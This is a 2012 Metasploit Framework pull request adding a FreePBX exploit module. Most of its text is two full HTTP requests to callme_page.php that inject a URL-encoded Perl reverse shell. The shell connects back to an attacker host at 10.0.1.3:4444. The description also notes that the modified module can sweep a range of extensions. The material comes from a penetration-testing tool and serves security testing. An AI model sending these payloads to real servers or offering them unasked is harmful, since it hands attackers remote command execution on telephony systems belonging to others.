rapid7/metasploit-framework — pull request #266 by wchen-r7 (2012-03-23 12:49:02+00:00)
Title: Freepbx exploit by muts

This is a submission by muts.

The original exploit sends a request like this (pcap):
Request sent by the original module:
GET /recordings/misc/callme_page.php?action=c&callmenum=0@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.0.1.3%3a4444%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A HTTP/1.0
Host: 10.0.1.2

The modified version is programmed to allow the extension option as a range, and sends each request like this:
Request sent by the modified module:
GET /recordings/misc/callme_page.php?action=c&callmenum=0@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%2210.0.1.3%3a4444%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A HTTP/1.0
Host: 10.0.1.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

All modifications were suggested by HD.